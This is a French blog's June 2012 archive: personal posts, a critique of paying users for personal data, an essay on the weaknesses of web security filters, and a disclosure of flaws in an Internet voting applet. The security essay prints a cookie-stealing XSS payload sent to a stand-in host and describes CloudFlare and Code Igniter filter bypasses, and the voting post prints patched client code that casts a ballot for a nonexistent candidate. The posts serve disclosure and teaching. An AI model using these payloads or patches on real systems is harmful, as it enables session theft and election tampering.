Archives mensuelles : juin 2012

Merci à vous doux terroristes des interwebz

Je viens de passer un mois bien rempli avec notamment les RSSIL (Maubeuge), Pas Sage en Seine (la cantine) et la Nuit du Hack (Marne la Vallée) et comme à chaque fois que je suis pris par autant d’évènements j’en arrive à réfléchir sur comment j’en suis arrivé là. En février 2009 je créais mon compte Twitter, en mai 2009 j’ouvrais ce blog avec le même objectif dans les deux cas : me faire plaisir en écrivant, en partageant. Trois ans que ça dure, … ça valait bien un billet d’humeur / mylife pour une fois !

Quand je regarde un peu mon parcours, quand on me demande quelles études j’ai fait la seule chose qui me vienne à l’esprit est que sans Internet ma vie serait bien différente, bien morne. Depuis que j’ai 15 ans je travaille, d’abord à droite à gauche dans des rédactions diverses et variées de journaux papier et web – job que j’avais eu en participant sur le forum d’un journal d’ailleurs.

Puis j’ai appris à coder – sur internet pour changer – et à la fin de mon DUT je me suis lancé, j’ai créé ma société MMIX Productions. A l’époque j’avais codé et mis en place un portail d’annonces immobilières dont les bénéfices devaient servir à financer des associations qui réabilitent des logements sociaux. J’avais créé mon propre emploi, je faisais travailler jusqu’à trois personnes avec moi, mais le secteur étant ce qu’il est et mon réseau étant bien maigre à l’époque, j’ai fermé cette entreprise et ai fait tout ce que tout informaticien diplômé au chômage et ruiné envisage une fois dans sa vie : j’ai rejoint une SSII…

C’est à cette époque là que j’ai créé ce blog et mon twitter, à cette époque que mon militantisme latent s’est peu à peu imposé à moi. Que vous me l’avez imposé en me lisant, en me diffusant, en m’aidant à regarder plus loin toujours que ce j’aurai pu faire seul. Le point charnière, si je devais en désigner un, est cet article sur Wawa-Mania qui m’a valut de rencontrer la crème de l’hacktivisme français. A partir de là ça ne s’est plus jamais arrêté.

C’est en mangeant avec Serge Soudoplatoff, entre deux discussions sur les labs qu’il avait rejoint à l’époque pour les quitter depuis, que celui-ci m’a proposé de m’obtenir un rendez-vous à l’Hetic, école dans laquelle il enseigne. J’y ai donné des cours et continue aujourd’hui encore.

Ce point supplémentaire sur mon CV m’a permis d’obtenir un poste de formateur professionnel chez Alterway Formation où j’ai probablement plus appris qu’enseigné. C’était un peu le but à mes yeux.

Et c’est enfin sur mon blog que j’ai publié une annonce expliquant que je cherchais du travail le jour où j’ai eu envie de revenir plus proche du code. Cet article a été visionné et partagé un nombre de fois que je n’imaginais pas en le publiant, des entreprises très intéressantes m’ont approché et j’ai fini chez CCM Benchmark où je suis aujourd’hui, heureux.

De quoi demain sera fait je ne peux le dire, ce que je vois c’est aujourd’hui et hier. Ce que je vois c’est la part extraordinaire qu’Internet a pris dans ma vie et ce que cet outil en a fait, ce que vous en avez fait.

Et pour cela je ne vous remercierai jamais assez !

PS: J’oublie plein de choses dans l’article : mon livre, mon taff de consultant indépendant, ma découverte de certains artistes, des amis, des voyages, des soirées et moments inoubliables, …

Atos censure un document d’intérêt public… Streisand es-tu là ?

Numérama a révélé hier un document marqué « strictly confidential » qui contenait quelques débuts de travaux autour de l’infrastructure mise en place par Atos pour Scytl et le ministère des affaires étrangères dans le but de proposer le vote par Internet aux français établis à l’étranger lors de ces législatives.

Aujourd’hui Atos a sommé Numérama de supprimer ledit document de ses colonnes ce que Numérama a fait.

Je considère cela comme de la censure pure et simple dans la mesure où il a été par de nombreuses reprises reproché ce manque de transparence. Aussi je me permets de republier ledit document et vous encourage à tous en faire autant (en réalisant bien cependant qu’il s’agit probablement là d’un acte qui peut entrainer des réprimandes de la part du grand méchant Atos).

Si Atos n’est pas satisfait du fait que ce document n’est pas le document final je les encourage à faire preuve de plus de transparence. D’ici là, Streisand it !

PS : je ne plierai pas 😉

PS2 : je ne prends pas les LAR, envoyez moi un mail ça ira plus vite pour que refuse 😉

Atos

Payer les utilisateurs pour leurs données personnelles

Après une intro poussive Jaron Lanier (pionner des intertubes) a présenté au Personal Democracy Forum une idée qui, selon lui, servirait à rémunérer les utilisateurs de l’Internet pour leurs données personnelles…

Sa théorie est qu’aujourd’hui de grandes entreprises (Google, Facebook et Microsoft pour ne pas les nommer) vivent de vos données et pourraient du coup aider à résoudre les inégalités en payant les utilisateurs via un système de micro-paiement systématique à chaque utilisation (ou collecte) de ces données.

Il me semble que c’est une des pires idées que l’on puisse avoir, et voici pourquoi.

Incentive à partager de l’information

Le premier problème que je vois est bien sûr un problème de vie privée : si demain on vous dit « le plus tu partages d’informations sur ta vie privée, le plus tu gagneras d’argent » rare seront les gens qui se soucieront de ce qui est fait ensuite des données. Et quand bien même elles s’en soucieraient, elles auraient été payées pour et n’auraient plus leur mot à dire.

Au contraire il faut expliquer aux gens que tout ce qu’ils mettent sur facebook est public (même s’ils règlent leur profil en mode sociopathe associal), que toutes leurs recherches sur google, leurs achats sur amazon et plus largement tout ce qu’ils font sur le net peut (et est probablement) être enregistré et ré-utilisé pour (ou contre) vous. Libre ensuite à chacun de décider s’il veut ou non entrer dans ce système et devenir une marchandise et non plus un consommateur.

Création d’un copyright sur sa personne (avec toutes ses dérives)

Le pire probablement est là : si l’on protège la vie privée au régime du copyright on ne fait que donner plus de pouvoir encore à cette infamie qui ne devrait déjà plus utiliser (je reviens pas dans ce débat, le droit d’auteur oui, la « propriété intellectuelle » non, …).

Partant de là on peut imaginer toutes les dérives qui correspondent à son état actuel : des ayants droits d’informations personnelles par exemple. « Bonjour, je suis la SACEM de la personne, vous semblez avoir beaucoup de choses à gérer; permettez que je m’occupe de vos données personnelles, je prends que 50% de frais de fonctionnement »…

Pire encore, dans les commentaires de l’article du Nouvel Obs un Internaute suggère que la Hadopi s’en charge… Elle qui n’est pas foutue de mener à bien la simple mission que le législateur lui avait confiée.

Internet n’est pas un espace de consommation

Cette non-solution part du principe que nous sommes de simples utilisateurs, floués par les méchantes multi-nationales qui font de l’interwebz. La vérité ne pourrait pas être plus éloignée et doit être rappelée : il y a certes quelques entreprises qui trustent une part de marché importante sur le Net, mais je ne suis pas sûr que si l’on pouvait estimer la proportion elles se révèlent majoritaires.

Prendre le problème à l’envers est donc dangereux et je vous renvoie vers la conférence de Benjamin Bayart à ce sujet qui parle beaucoup mieux que moi du minitel 2.0 que nous sommes en train de créer en laissant ce type de considérations prendre assise.

Le problème des start-ups

Un des moyens de participer à cet interweb qui est le notre est d’y créer un commerce (plus important encore un média, mais là la problématique se pose moins). Ces petites boites géniales qui créent de la richesse et de l’innovation (ouah on dirait que ça sort d’un cabinet ministériel cette phrase toute faite, ah oui c’est presque le cas) pourraient être grandement impactées par une solution comme celle proposée ici : la mise en place technique et financière du tout devenant une problématique lourde et complexe à intégrer aux coûts déjà très élevés (surtout en France !) de création d’une entreprise…

 

Sécurité, déporter le problème est une connerie dangereuse

Pour changer un peu j’ai décidé de vous livrer ici un article un peu long (non ça ça ne change pas) et technique après une micro-gueulante sur Twitter et pour expliquer un peu plus en détail mon point de vue sur la sécurité en mode boite noire. Je vais essayer de faire relativement simple mais l’article risque d’être un peu indigeste (et inintéressant) si vous n’avez pas de notion de programmation Web – promis le prochain sera sur un truc plus abordable 😉

Depuis quelques années un phénomène a le vent en poupe dans le domaine de la sécurité Web : on essaye de nous vendre de l’antivirus à pas cher qui, une fois installé est censé rassurer le client sur la solidité de son site. Personne n’est vraiment d’accord sur où on est censé brancher ce machin, sur ce qu’il doit faire ou sur comment le considérer. J’ai ma petite idée (nulle part, rien et pas) et vais essayer de vous démontrer par une petite série d’exemples la connerie dont il s’agit…

En parallèle de mes activités de consultant en sécurité il m’arrive aussi de donner des cours de sécurité en PHP (troll interdit après ce que je vais vous balancer ici) – l’approche antivirus, patch miracle, marketing pompeux n’est pas au programme de ce que j’enseigne. Pas même lorsque je m’adresse à des chefs de projet fonctionnel (surtout pas dans ce cas !) et pour cause :

Browser anti-XSS filter (Webkit4, Chromium)

Une des plaies en terme de sécurité est la faille XSS, cette petite injection de script innocente mais qui permet parfois de mettre à genoux des sites, de réaliser des escalades de privilèges, de scanner des sous-réseaux, de prendre le contrôle d’une machine qui utiliserait un navigateur trop vieux ou trop mauvais (là je serai en train de donner un cours j’aurai toussé « Internet Explorer », mais à l’écrit ça risque d’être moins discret comme troll).

Alors les petits gens qui nous font un certain moteur de rendu à peine répandu, un certain Webkit, ont eu l’idée géniale d’intégrer un filtre contre ces petites saloperies… Je prends l’exemple de Chromium (Chrome sans Google, j’ai une âme) et voilà le message que je lis dans la console (F12) de mon navigateur si je tente une XSS sur à peu près n’importe quel site :

Refused to execute a JavaScript script. Source code of script found within request.

Tous ? Non un village (trois ou quatre identifiés en fait) résiste toujours à l’envahisseur !

Considérons par exemple le code PHP suivant (cas réel trouvé sur une interface de paiement d’un site commercial) :


<script type= »text/javascript »>
var page = « <?=$_GET[‘page’]?> »;

</script>

A votre avis il se passe quoi si je mets quelque chose comme ceci dans $_GET[‘page’] ?

« ; var i = new Img(); i.src = « http://badguy.jp/bad_script.php?nice_cookie= » %2b document.cookie; //

Bon la réponse est simple : la requête va partir mais répondre par une 404 parce que cette page n’existe pas, mais si elle avait existé et qu’elle contenait par exemple un simple file_append de $_GET[‘nice_cookie’] dans un fichier de log… Bon vous avez saisi le principe 😉

Plus drôle encore : ce filtre magique de la mort qui tue… Comment il fait la différence entre un script légitime et une XSS persistante que j’aurai ajouté au préalable via un formulaire de livre d’or, une signature sur un forum codé avec les pieds, … ?

La réponse est simple : il ne la fait pas et ne pourra jamais la faire.

J’ai inclu il y a peu un script distant en XSS persistante sur un site. Je ne voulais pas l’hoster sur le serveur de mon blog, je l’ai hosté sur un serveur qui n’a aucun nom de domaine attaché. Ca n’a pourtant posé aucun souci à Chromium de communiquer vers une adresse sous la forme d’une ip2long (plus discret) le contenu des cookies vers un script qui s’appelait steal.php (le tout a été patché sur le site en question depuis bien sûr et n’avais été testé que sur mon poste sur une seule requête).

Et c’est normal : ce n’est pas son rôle de filtrer (c’est le rôle de noscript ;)).

Il y a d’autres façons de bypasser ce filtre (et d’autres problèmes sur Chromium) sur lesquels je travaille encore pour le moment, suite au prochain épisode pour lui !

Reverse Proxy (CloudFlare)

On se rapproche de l’application, on arrive sur le serveur. Sur celui-ci, si je veux gagner un peu en performances je peux installer un reverse proxy. Exemple courant : lighttpd répond à tous les contenus statiques et proxifie les script (php, py, …) à apache qui a quand même plus de répondant dans le domaine.

Sauf que ce type de solutions ne suffit pas sur des systèmes à très gros trafic et sont donc arrivées les entreprises qui font du reverse proxy (Akamaï en tête pour ne pas les nommer). Principe génial, j’ai un CDN en colocation avec d’autres sites et ça répond du feu de dieu partout dans le monde (les images stockées sur facebook sont servies par Akamaï par exemple).

Le petit nouveau qui fait du bruit sur le marché c’est un certain CloudFlare. Pendant un temps je le voyais partout… Pas à cause de leur communication, à cause de leur protection super efficace qui m’affichait une landing page hideuse à chaque requête sur un site derrière leur solution !

Mon navigateur est configuré en mode pentest tout le temps. Tout est modifié ou presque sur chaque requête ou presque et des inclusions classiques sont tentées dans tous les cas… Et forcément ça CloudFlare, qui propose une solution « Security » qui bloque la requête avant qu’elle arrive sur votre serveur s’il y détecte des cochoncetées, il a pas aimé…

En image ma configuration de modify headers pour Firefox avant et après bypass de la sécurité CloudFlare :

 

Comme le jeu des unes différences c’est vachement compliqué je vais vous donner la solution : la seule vérification que fait CloudFlare sur les entêtes HTTP en mode Security c’est si le Referer est formaté comme il le souhaite à savoir : vide ou contenant le caractère « : » au moins une fois… C’est tout !

Je sais pas pour vous, mais moi j’appelle pas ça de la sécurité mais du foutage de gueule 🙂

Imaginez un instant que le développeur (partisan du moindre effort que nous sommes) se dise « bon bah CloudFlare me laisse passer que des trucs propres, je peux bosser tranquile » et stocke en base SQL des stats sur ses visiteurs (au hasard, user-agent, referer et IP ?) – A votre avis ça donne quoi dans le cas présent ?

WaF (PHPIDs, apache mod security)

On commence à se rapprocher et là il y a deux approches différentes : soit un module du serveur web (ou de cache en reverse proxy) : Apache2 mod_security, Varnish VCL_SECURITY, … soit les classes PHP, Python, Ruby qui pullulent et vous garantissent la sécurité à moindre effort (elles aussi).

Les modules sont relativement efficaces (jamais lu de doc particulière sur du bypass du système en lui-même) lorsqu’ils sont bien configurés ! Ce qui suppose que l’admin système, qui va vraisemblablement paramétrer le truc, maitrise des problématiques de sécurité applicative fine ou que le développeur maitrise l’administration système ou que les deux se mettent d’un coup à bosser ensemble… Rayez toutes les mentions inutiles, je ne vois pas un cas concrêt où ça peut se passer correctement et surtout je ne vois pas l’intérêt dans la mesure où ce qui est « développé » en conf serait vachement mieux dans du code applicatif / métier même.

Et puis il y a les classes PHP qui vous proposent, moyennant l’inclusion en tout début de votre fichier appelé de vous nettoyer les données ou d’arrêter l’execution du script en cours de route si problème. Les problèmes sont en général décrits par de magnifiques expressions régulières pas lourdingues du tout (ironie pour ceux qui ne la saisirait pas à l’écrit) qui ont déjà été bypassées sur un des leaders du marché (bon pas par un rigolo non plus ^^).

Bref une solution lourde, difficile à paramétrer et qui ne présente aucune garantie voire qui peut introduire des vulnérabilités si le truc est mal foutu : plus de codes = plus de soucis, comme dirait @manudwarf keep it simple stupid (je sais c’est pas de lui mais ça lui va bien et il l’a écrit il y a peu) !

Framework (Code Igniter)

Et pour finir ce tour de table je vais vous parler de l’endroit où cela a plus ou moins sa place, en citant bien sûr un contre-exemple…

Le framework peut (ou doit selon la philosophie du dév) proposer des outils de validation, éventuellement des outils de nettoyage et des méthodes pour y accéder facilement. Il doit faire tout ceci simplement pour éviter que le code qui sert à vérifier que mon fichier que j’ai uploadé est bien une image, je ne veux pas le ré-écrire partout. Qui plus est, si demain je veux ajouter un niveau de vérification supplémentaire, changer quelque chose, je veux pouvoir le faire une fois pour l’ensemble de mes uploads et déployer ainsi une forme de sécurité générique homogène (différent de la sécurité métier).

Mais si vous utilisez un framework, lisez le ! Faites attention au code qui est utilisé et patchez le éventuellement.

Exemple : Code Igniter, helper security de la version 2.1.1 (actuelle, j’ai créé une issue sur le GitHub)

function encode_php_tags($str)
{
return str_replace(array(‘‘), array(‘<?php’, ‘<?PHP’, ‘<?’, ‘?>’), $str);
}

Si vous ne voyez pas ce qui cloche imaginez simplement que j’envoie <?pHp et vous comprendrez pourquoi je m’arrache les cheveux 😉

Enfin il y a la sécurité métier, les vérifications simples sur la longueur d’un champ, sa forme, … Cette partie là n’a sa place qu’au niveau de l’application et n’est pas négociable. Si vous mettez en place l’une ou l’autre des non-solutions citées plus haut vous risquez d’avoir des dév qui considèrent que « la sécurité est là vu qu’y a PHPIDs » …

Conclusion

Non j’ai pas envie de conclure, j’ai fait assez de démo, tirez en votre conclusion et discutez en dans les commentaires c’est plus simple ! 🙂

Le vote par Internet, c’est pire au second tour !

Aujourd’hui se tient le premier tour des législatives en France métropolitaine. Pour les Français établis à l’étranger cependant on en est déjà à la tenue du second tour sur Internet. L’occasion pour Laurent Grégoire de continuer à mettre à l’épreuve le vote par Internet… Et ce qu’il a trouvé est pire encore que lors du premier tour.

Toujours en se servant d’une injection de code il a cette fois essayé de prouver que l’on pouvait influer sur le contenu de son propre vote pour voir si le système était suffisamment bien conçu (spoiler : il ne l’est pas) pour tenir compte du cas de figure « je suis un méchant et je veux truquer le vote ».

Voter pour un candidat fantôme

Le candidat du Parti Pirate n’ayant pas recueilli suffisamment de votes pour se maintenir au second tour il n’était pas présent dans les choix proposés cette fois-ci. Les propositions restantes étaient l’UMP, le PS ou le vote blanc.

Qu’à celà ne tienne, ajouter un candidat n’est pas bien compliqué, il suffit d’un put :

———[com.scytl.pnyx.client.communication.application.MessagesProtocol]———

public VoteReceipt doCastVote(ClientData clientData) throws ApplicationProtocolException, PnyxProtocolException
{
Map<String, QuestionAnswer> vote = clientData.getTrustedBallot().getBallotAnswers();
for (Map.Entry<String, QuestionAnswer> kv : vote.entrySet()) {
ValuedMultipleChoiceQuestionAnswer qa = (ValuedMultipleChoiceQuestionAnswer)kv.getValue();
Map<String, String> answers = qa.getAnswerIdValues();
for (Map.Entry<String, String> kv2 : answers.entrySet()) {
kv2.setValue(null); // AUCUN VOTE
}
answers.put(« ff808081375acd2201375adad63d037a », « 1 »); // CANDIDAT PIRATE INEXISTANT
}
ClientDataManager clientDataMgr = new ClientDataManager(clientData);
String response = this._transport.sendMessage(this._secureMessageMessage.createMessage(clientDataMgr),
this._destinations.getPnyxCastVoteAction());
JOptionPane.showMessageDialog(JFrame.getFrames()[0], response); // AFFICHAGE DE LA REPONSE XML
return this._secureMessageMessage.parseResponse(response, clientDataMgr);
}

On pourrait penser que le machin ait la bête idée de vérifier que le vote que l’on vient d’envoyer est bien parmi les propositions valides… Ce serait sans compter sur la compétence de Scytl !

Non seulement le vote est accepté mais le tout fournit un beau reçu de vote valide à la fin de la procédure… Le total des votes sera donc supérieur d’au moins une voix au cumule des votes exprimés pour les candidats réellement en lice : UMP + PS + Blanc = total -1…

Le vote nul est-il prévu par le système de décompte ? On verra ça au dépouillement avec le reçu de vote… Et justement puisqu’on en parle !

L’identifiant de bulletin

Dans le système utilisé chaque vote a un identifiant donné généré de façon pseudo-aléatoire sur 24 octets. Laurent a eu la bonne idée de tester de modifier la génération de ce chiffre pseudo-aléatoire pour que la fonction qui le créé renvoie toujours 0x00 (zéro en hexadécimal).

Bien entendu l’applet n’y voit que du feu et laisse le vote se dérouler de façon classique. Et ce jusqu’à la fin, à la génération du reçu de vote qui étrangement se retrouve à avoir un identifiant qui vaut AAAAAAAAA. Il y a donc fort à parier que ce reçu est calculé en fonction de l’identifiant précédemment altéré. En poussant le vice on peut aussi supposer que la somme de contrôle en dessous (qui sert à vérifier son vote à postériori) est générée de la même façon.

Mais plus grave, cet identifiant de vote (qui sert à générer l’identifiant de reçu) étant tiré de façon pseudo-aléatoire dans un pool de 26^10 possibilités peut présenter des risques de collision (probabilité de collision de 1 – e^(-(n^2/(2 x 26^10)))) : deux votants pourraient avoir le même identifiant. Pour être précis, avec nos 700.000 inscrits le risque est de 0.17% sur le scrutin actuel, plus élevé si l’on envisage un scrutin à plus grande échelle… Comment réagirait le système dans ce cas ? Bah vérifiez vous même en vous attribuant l’identifiant 0x00 :

————–com.scytl.crypto.CryptographicAlgorithms————-

private byte[] encryption(int paramInt, byte[] paramArrayOfByte,
Key paramKey, String paramString) {
try {
Cipher cipher = Cipher.getInstance(paramString);
paramString = null;
byte[] buf = null;
if (cipher.getBlockSize() > 0) {
         buf = new byte[cipher.getBlockSize()];
         this._secureRandom.nextBytes(buf);

cipher.init(1, paramKey, new IvParameterSpec(buf));

buf = packSymetricMsg(buf,
cipher.doFinal(paramArrayOfByte));
} else {
cipher.init(1, paramKey);
buf = cipher.doFinal(paramArrayOfByte);
}
return buf;
} catch (GeneralSecurityException e) {
throw new RuntimeException(e);
}
}

public final byte[] generateRandom(int length) {
byte[] randomBytes = new byte[length];
   //this._secureRandom.nextBytes(randomBytes);
   for (int i = 0; i < length; i++)
      randomBytes[i] = 0x00;
return randomBytes;
}

Conclusion

Voici donc un vote qui s’est déroulé impéccablement alors même que l’identifiant du vote a été changé et que le candidat pour lequel le vote a été exprimé n’est pas présent dans les choix. C’est à se demander s’il ne serait pas possible de voter pour un candidat d’une autre circonscription en utilisant tous le même identifiant de bulletin…

La suite au dépouillement pour voir comment le système va avoir géré les bugs et comment le ministère va justifier l’injustifiable cette fois-ci…